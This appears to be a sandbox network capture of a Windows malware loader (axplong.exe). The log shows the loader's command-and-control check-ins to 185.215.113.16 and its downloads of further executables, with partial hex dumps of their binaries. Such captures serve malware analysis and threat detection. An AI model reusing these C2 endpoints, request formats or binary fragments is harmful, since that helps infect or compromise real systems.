2	192.168.2.6	49914	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:08.134341955 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000066001&unit=246122658369
Dec 18, 2024 12:00:09.472803116 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 12:00:09.477104902 CET	52	OUT	GET /inc/legs.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:09.914298058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:09 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 11:09:59 GMT Connection: keep-alive ETag: "67615c07-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 12:00:09.914366961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 12:00:09.914395094 CET	248	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 12:00:09.914727926 CET	1236	IN	Data Raw: 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe 00 10 00 00 72 14 8b 51 fc 83 c1 fc 29 d1 83 f9 20 73 54 83 c0 24 89 c6 Data Ascii: ;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1Au11
Dec 18, 2024 12:00:09.914746046 CET	1236	IN	Data Raw: 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 24 10 6a 00 50 53 55 57 ff 15 2c 3a 42 00 85 c0 0f 84 42 01 00 00 57 ff Data Ascii: D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`KCFrP
Dec 18, 2024 12:00:09.914761066 CET	1236	IN	Data Raw: 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f 04 50 51 e8 18 45 00 00 83 c4 08 c7 06 88 c3 41 00 8b 47 0c 8b 4f 10 89 Data Ascii: D$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAGF^_VD$(
Dec 18, 2024 12:00:09.915582895 CET	1236	IN	Data Raw: c4 0c 8b 45 08 89 43 04 8b 45 0c 89 43 08 8d 7d d8 89 3b e8 9f 00 00 00 83 c4 24 8b 65 c4 83 7f 14 10 72 03 8b 7d d8 c7 06 28 c1 41 00 8d 46 04 31 c9 89 4e 08 89 4e 04 8d 4d d0 89 39 c6 41 04 01 50 51 e8 3e 40 00 00 83 c4 08 c7 06 a8 c3 41 00 8b Data Ascii: ECEC};$er}(AF1NNM9APQ>@AEr,MxrQ) s>$WQAEFEFM1e^_[]USWV\|$0WB1D$t$<~tjhQBOwU
Dec 18, 2024 12:00:09.915601969 CET	1236	IN	Data Raw: 00 75 0d a1 80 65 42 00 40 a3 80 65 42 00 89 06 89 e1 e8 0e 08 00 00 8b 3e 8b 4c 24 04 31 e1 e8 bd 04 00 00 89 f8 83 c4 08 5e 5f c3 cc 57 56 8b 7c 24 0c 8b 41 04 39 78 0c 76 0a 8b 48 08 8b 34 b9 85 f6 75 18 31 f6 80 78 14 00 74 10 e8 66 0b 00 00 Data Ascii: ueB@eB>L$1^_WV\|$A9xvH4u1xtf9xv@4^_SWV8\$HWB1D$4t\;uW\|$LjGtHESBP_FAPb#3L$418^_[
Dec 18, 2024 12:00:09.915617943 CET	1236	IN	Data Raw: 8b ec 5d e9 91 ff ff ff e9 bc ff ff ff 3b 0d c0 57 42 00 75 01 c3 e9 95 21 00 00 55 8b ec 56 57 bf 8c 64 42 00 57 ff 15 30 39 42 00 8b 75 08 83 3e 00 75 0c 83 0e ff eb 26 e8 7d 00 00 00 eb ef 83 3e ff 74 f4 64 a1 2c 00 00 00 8b 0d 90 64 42 00 8b Data Ascii: ];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_^]UVdBV09BWBEAWBVd,dBWB0:BhdBh:B^]jjhdBhdBL:BUuYH]U=dBuu
Dec 18, 2024 12:00:09.924407959 CET	776	IN	Data Raw: 74 06 46 80 3e 00 75 fa 2b f7 46 56 e8 f6 9a 00 00 89 03 59 85 c0 74 0b 56 57 50 e8 93 48 00 00 83 c4 0c 5e 5f 8b c3 5b 5d c2 04 00 56 8b f1 56 c7 06 28 c6 41 00 e8 3f 00 00 00 83 7e 18 00 59 74 09 ff 76 18 e8 4b 96 00 00 59 83 66 18 00 c7 06 a0 Data Ascii: tF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEYtuw3UQQSWjMExXt?VOEt,p7BMEtj17BMu^3YM_[UQE3
Dec 18, 2024 12:00:09.927544117 CET	1236	IN	Data Raw: 41 04 04 08 42 00 c7 01 08 c1 41 00 c3 8d 41 04 c7 01 28 c1 41 00 50 e8 49 2f 00 00 59 c3 55 8b ec 83 ec 0c 8d 4d f4 e8 c9 ff ff ff 68 90 42 42 00 8d 45 f4 50 e8 eb 28 00 00 cc 55 8b ec 83 ec 0c 8d 4d f4 ff 75 08 e8 77 00 00 00 68 c8 42 42 00 8d Data Ascii: ABAA(API/YUMhBBEP(UMuwhBBEP(UMuhCBEP(UVuTA^]UVF(AP.EYtjV8YY^]UQVuu`A^UVu`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49925	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:12.403736115 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001527001&unit=246122658369
Dec 18, 2024 12:00:13.693279982 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49930	185.215.113.36	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:13.819451094 CET	50	OUT	GET /AllNew.exe HTTP/1.1 Host: 185.215.113.36
Dec 18, 2024 12:00:15.163052082 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:14 GMT Content-Type: application/x-msdos-program Content-Length: 439296 Connection: keep-alive Last-Modified: Fri, 01 Nov 2024 16:54:27 GMT ETag: "6b400-625dcc9af36c0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c3 07 25 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 b7 9f 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PEL%g@0@0EE8@<.text `.rdata@HJ@@.datam`,@@.rsrcl@@.relocEFn@B
Dec 18, 2024 12:00:15.163088083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 c0 c9 44 00 e8 17 8d 02 00 59 c3 cc cc cc cc 68 60 c9 Data Ascii: hDYh`DYj hEdnF/h DYj hEtF.hDYjhETuF.hDYj h$EoF.h@DYjhHELtF.h
Dec 18, 2024 12:00:15.163100004 CET	448	IN	Data Raw: 00 e8 86 88 02 00 59 c3 cc cc cc 6a 04 68 e4 d2 45 00 b9 0c 72 46 00 e8 9f 2a 02 00 68 a0 d7 44 00 e8 66 88 02 00 59 c3 cc cc cc 6a 04 68 ec d2 45 00 b9 78 77 46 00 e8 7f 2a 02 00 68 00 d8 44 00 e8 46 88 02 00 59 c3 cc cc cc 6a 04 68 f4 d2 45 00 Data Ascii: YjhErFhDfYjhExwFhDFYjhEsF_h`D&YjhEhxF?hDYjhE<uF*h DYjhElF)hDYjhElF)hDYjh0E
Dec 18, 2024 12:00:15.163223982 CET	1236	IN	Data Raw: 00 e8 c6 86 02 00 59 c3 cc cc cc 6a 0c 68 7c d3 45 00 b9 28 79 46 00 e8 df 28 02 00 68 e0 dc 44 00 e8 a6 86 02 00 59 c3 cc cc cc 6a 0c 68 8c d3 45 00 b9 5c 6d 46 00 e8 bf 28 02 00 68 40 dd 44 00 e8 86 86 02 00 59 c3 cc cc cc 6a 04 68 9c d3 45 00 Data Ascii: Yjh\|E(yF(hDYjhE\mF(h@DYjhEpF(hDfYjhEmF(hDFYjhE$oF_(h`D&YjhEdqF?(hDYjhEloF(h DYjhE
Dec 18, 2024 12:00:15.163234949 CET	1236	IN	Data Raw: 72 46 00 e8 1f 24 02 00 68 20 eb 44 00 e8 e6 81 02 00 59 c3 cc cc cc 6a 4c 68 d8 d5 45 00 b9 c4 71 46 00 e8 ff 23 02 00 68 80 eb 44 00 e8 c6 81 02 00 59 c3 cc cc cc 6a 3c 68 28 d6 45 00 b9 a4 6d 46 00 e8 df 23 02 00 68 e0 eb 44 00 e8 a6 81 02 00 Data Ascii: rF$h DYjLhEqF#hDYj<h(EmF#hDYjhhEsF#h@DYjhxE<rF#hDfYjhEqF#hDFYjhEtF_#h`D&Yj@hE$lF?#hDY
Dec 18, 2024 12:00:15.163247108 CET	1236	IN	Data Raw: cc cc cc 6a 08 68 50 da 45 00 b9 b4 72 46 00 e8 3f 1f 02 00 68 c0 f9 44 00 e8 06 7d 02 00 59 c3 cc cc cc 6a 20 68 5c da 45 00 b9 0c 6f 46 00 e8 1f 1f 02 00 68 20 fa 44 00 e8 e6 7c 02 00 59 c3 cc cc cc 6a 0c 68 80 da 45 00 b9 e0 78 46 00 e8 ff 1e Data Ascii: jhPErF?hD}Yj h\EoFh D\|YjhExFhD\|YjhErFhD\|YjhEtFh@D\|YjhE,vFhDf\|YhDW\|Yh`DG\|YhD7\|Y
Dec 18, 2024 12:00:15.163258076 CET	1236	IN	Data Raw: 49 04 b8 3c ce 45 00 85 c9 0f 45 c1 c3 cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 24 16 45 00 50 e8 6f 86 02 00 83 c4 04 f6 45 08 01 74 0b 6a 0c 56 e8 30 78 02 00 83 c4 08 8b c6 5e 5d c2 04 00 0f 57 c0 8b c1 66 0f d6 41 04 c7 41 04 50 ce 45 00 c7 01 Data Ascii: I<EEUVF$EPoEtjV0x^]WfAAPELEQUYUVuVT^]VWVfTVT^UjhmDdP$aF3PEdEEPhUU
Dec 18, 2024 12:00:15.163703918 CET	1236	IN	Data Raw: 01 e8 56 81 02 00 8b 55 ac 83 c4 08 c7 07 30 17 45 00 83 fa 10 72 28 8b 4d 98 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 43 52 51 e8 55 73 02 00 83 c4 08 8b 4b 08 8b c7 8b 53 0c c7 07 58 18 45 00 89 4f 0c 89 57 Data Ascii: VU0Er(MBrI#+wCRQUsKSXEOWMdY_^M3l][UVF$EPEtjVr^]UVuWWGP$EfFP}XEFNG
Dec 18, 2024 12:00:15.163868904 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc 85 c9 74 06 8b 01 6a 01 ff 10 c3 cc cc cc cc cc 55 8b ec f6 45 08 01 56 8b f1 c7 06 a4 df 45 00 74 0b 6a 08 56 e8 8c 6e 02 00 83 c4 08 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 8d 46 34 c7 06 Data Ascii: tjUEVEtjVn^]UVF4EP]FPOQEEtjlVAn^]Ujh=DdPSVW$aF3PEd}3OGwhFueFPE]EFu.j2
Dec 18, 2024 12:00:15.163881063 CET	1236	IN	Data Raw: c7 46 08 00 00 00 00 c7 46 0c 00 00 00 00 5e c3 e8 c7 b9 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 ed 85 44 00 64 a1 00 00 00 00 50 56 a1 24 61 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 75 08 c7 45 fc 00 00 00 Data Ascii: FF^UjhDdPV$aF3PEduuEN$t<PN$t;PRF$j(VfiMdY^]WOV1t'N$t;PRF$j(Vi^VN$t;PRF$^
Dec 18, 2024 12:00:15.282810926 CET	1236	IN	Data Raw: 47 04 8b 7d 10 8b 45 0c 8d 5e 50 89 45 fc 8b 45 14 53 89 45 f8 e8 0f 48 02 00 8d 43 28 6a 02 50 e8 74 54 02 00 83 c4 0c c7 43 58 00 00 00 00 c7 43 5c 00 00 00 00 85 ff 74 3e f0 ff 47 04 8b 45 fc 89 43 58 8b 45 f8 89 7b 5c 89 43 60 c7 43 64 00 00 Data Ascii: G}E^PEESEHC(jPtTCXC\t>GECXE{\C`CdGu1Gu"PECXE{\C`CdEfFHt@}tGu_K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49938	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:17.394305944 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003013001&unit=246122658369
Dec 18, 2024 12:00:18.726202965 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 12:00:18.730499029 CET	54	OUT	GET /test/am209.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:19.167097092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:18 GMT Content-Type: application/octet-stream Content-Length: 439808 Last-Modified: Fri, 08 Nov 2024 07:05:53 GMT Connection: keep-alive ETag: "672db851-6b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 51 b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f4 04 00 00 00 02 00 00 00 00 00 d7 a1 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PELQ-g@0@@EE8@<.text `.rdataPHJ@@.datam`,B@.rsrcn@@.relocEFp@B
Dec 18, 2024 12:00:19.167371035 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 f0 cb 44 00 e8 37 8f 02 00 59 c3 cc cc cc cc 68 90 cb 44 00 e8 27 8f 02 00 59 Data Ascii: hD7YhD'Yj hEdnF?1hPDYj h
Dec 18, 2024 12:00:19.167382956 CET	1236	IN	Data Raw: 45 00 b9 94 74 46 00 e8 1f 31 02 00 68 b0 cc 44 00 e8 e6 8e 02 00 59 c3 cc cc cc 6a 06 68 1c d0 45 00 b9 54 75 46 00 e8 ff 30 02 00 68 10 cd 44 00 e8 c6 8e 02 00 59 c3 cc cc cc 6a 20 68 24 d0 45 00 b9 b4 6f 46 00 e8 df 30 02 00 68 70 cd 44 00 e8 Data Ascii: EtF1hDYjhETuF0hDYj h$EoF0hpDYjhHELtF0hDYjh`EmF0h0DfYjh{E$uF0hDFYjh{EuF_0hD&Yjh{EoF?0hPD
Dec 18, 2024 12:00:19.167442083 CET	1236	IN	Data Raw: 02 00 59 c3 cc cc cc 6a 04 68 04 d3 45 00 b9 3c 75 46 00 e8 3f 2c 02 00 68 50 db 44 00 e8 06 8a 02 00 59 c3 cc cc cc 6a 04 68 0c d3 45 00 b9 cc 6c 46 00 e8 1f 2c 02 00 68 b0 db 44 00 e8 e6 89 02 00 59 c3 cc cc cc 6a 18 68 14 d3 45 00 b9 fc 6c 46 Data Ascii: YjhE<uF?,hPDYjhElF,hDYjhElF+hDYjh0E,mF+hpDYjh@EnF+hDYjhPExF+h0DfYjhXExF+hDFYjh`EuF
Dec 18, 2024 12:00:19.167454958 CET	1236	IN	Data Raw: 7f 27 02 00 68 90 e9 44 00 e8 46 85 02 00 59 c3 cc cc cc 6a 10 68 18 d5 45 00 b9 dc 6e 46 00 e8 5f 27 02 00 68 f0 e9 44 00 e8 26 85 02 00 59 c3 cc cc cc 6a 08 68 2c d5 45 00 b9 04 71 46 00 e8 3f 27 02 00 68 50 ea 44 00 e8 06 85 02 00 59 c3 cc cc Data Ascii: 'hDFYjhEnF_'hD&Yjh,EqF?'hPDYjh8ErF'hDYjhDEvF&hDYjhPE4qF&hpDYjhdEwF&hDYjhxEyF&h0DfY
Dec 18, 2024 12:00:19.167679071 CET	1236	IN	Data Raw: 18 68 64 d9 45 00 b9 c4 74 46 00 e8 9f 22 02 00 68 30 f8 44 00 e8 66 80 02 00 59 c3 cc cc cc 6a 20 68 80 d9 45 00 b9 fc 75 46 00 e8 7f 22 02 00 68 90 f8 44 00 e8 46 80 02 00 59 c3 cc cc cc 6a 0c 68 a4 d9 45 00 b9 2c 70 46 00 e8 5f 22 02 00 68 f0 Data Ascii: hdEtF"h0DfYj hEuF"hDFYjhE,pF_"hD&YjhEtsF?"hPDYjhE4nF"hDYjhErF!hDYj4hEoF!hpDYjh EkF!h
Dec 18, 2024 12:00:19.167690992 CET	1236	IN	Data Raw: 02 00 c7 00 22 00 00 00 e8 97 cb 02 00 5f b8 22 00 00 00 5e 5d c3 cc cc cc cc cc b8 70 c5 46 00 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 ff 75 10 6a 00 ff 75 08 6a ff 51 e8 da ff ff ff 8b 08 ff 70 04 83 c9 01 51 e8 95 de 02 00 83 c9 ff Data Ascii: "_"^]pFUujujQpQH]UMEPQu]UE]U$aF3EUEVUNEQW$EPfM3^it]UVW
Dec 18, 2024 12:00:19.167704105 CET	1236	IN	Data Raw: 45 e0 c7 45 fc 00 00 00 00 8b 4d d8 85 c9 74 44 8b 55 dc 8b c2 2b c1 83 f8 02 72 20 8d 41 02 83 fa 10 89 45 d8 ba 3a 20 00 00 8d 45 c8 0f 43 45 c8 66 89 14 08 c6 44 08 02 00 eb 18 6a 02 68 78 ce 45 00 c6 45 e8 00 8d 4d c8 ff 75 e8 6a 02 e8 23 2b Data Ascii: EEMtDU+r AE: ECEfDjhxEEMuj#+uMQPEU}MCUEu+MQR;w%}EECEVEEuQM*Ur,MBrI#+RQvM
Dec 18, 2024 12:00:19.167830944 CET	1236	IN	Data Raw: c2 08 00 51 8b ce e8 28 00 00 00 68 90 ce 45 00 8d 4d f0 e8 5b f9 ff ff 68 cc 43 46 00 8d 45 f0 50 e8 13 82 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 30 87 44 00 64 a1 00 00 00 00 50 56 a1 24 61 46 00 33 c5 50 8d 45 f4 64 a3 Data Ascii: Q(hEM[hCFEPUjh0DdPV$aF3PEdVEvQjVqMdY^]U$aF3EjEPjhTFEtx}t_d,F;~-hFk=FuhPDq
Dec 18, 2024 12:00:19.167843103 CET	1236	IN	Data Raw: 56 a1 24 61 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 75 08 c7 45 fc 00 00 00 00 8b ce 8b 06 ff 50 04 8b 06 8b ce 6a 01 ff 10 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 cc 55 8b ec f6 45 08 01 56 8b f1 c7 06 18 e1 45 00 74 0b 6a Data Ascii: V$aF3PEduuEPjMdY^]UEVEtjVl^]Vqt%WFu~Ou_^`_^UQMah0EFEP\|UVWFP$EfEP.ztE^]
Dec 18, 2024 12:00:19.175817013 CET	1236	IN	Data Raw: 3b d0 74 2d 57 2b c2 8d 4b 04 8b f8 89 45 f8 c1 ff 02 57 e8 a3 08 02 00 ff 75 f8 8b 73 04 ff 75 fc 56 e8 e4 78 02 00 83 c4 0c 8d 0c be 89 4b 08 5f 5e 8b c3 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 08 56 57 8b f9 8b 4d 08 8b 01 8d 77 04 83 c1 04 89 07 Data Ascii: ;t-W+KEWusuVxK_^[]UVWMw;tCA+MEFS+;vQ)uuS~xMN[_^]UjhDdP$aF3PEdMdY]USV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49950	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:21.414125919 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 38 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004899001&unit=246122658369
Dec 18, 2024 12:00:22.517497063 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 12:00:22.534176111 CET	54	OUT	GET /inc/v_dolg.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:22.999907017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:22 GMT Content-Type: application/octet-stream Content-Length: 3794944 Last-Modified: Wed, 04 Dec 2024 03:44:24 GMT Connection: keep-alive ETag: "674fd018-39e800" Accept-Ranges: bytes Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 8b ee 4c 67 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 00 00 90 03 00 00 4a 07 00 00 00 00 00 93 91 80 00 00 10 00 00 00 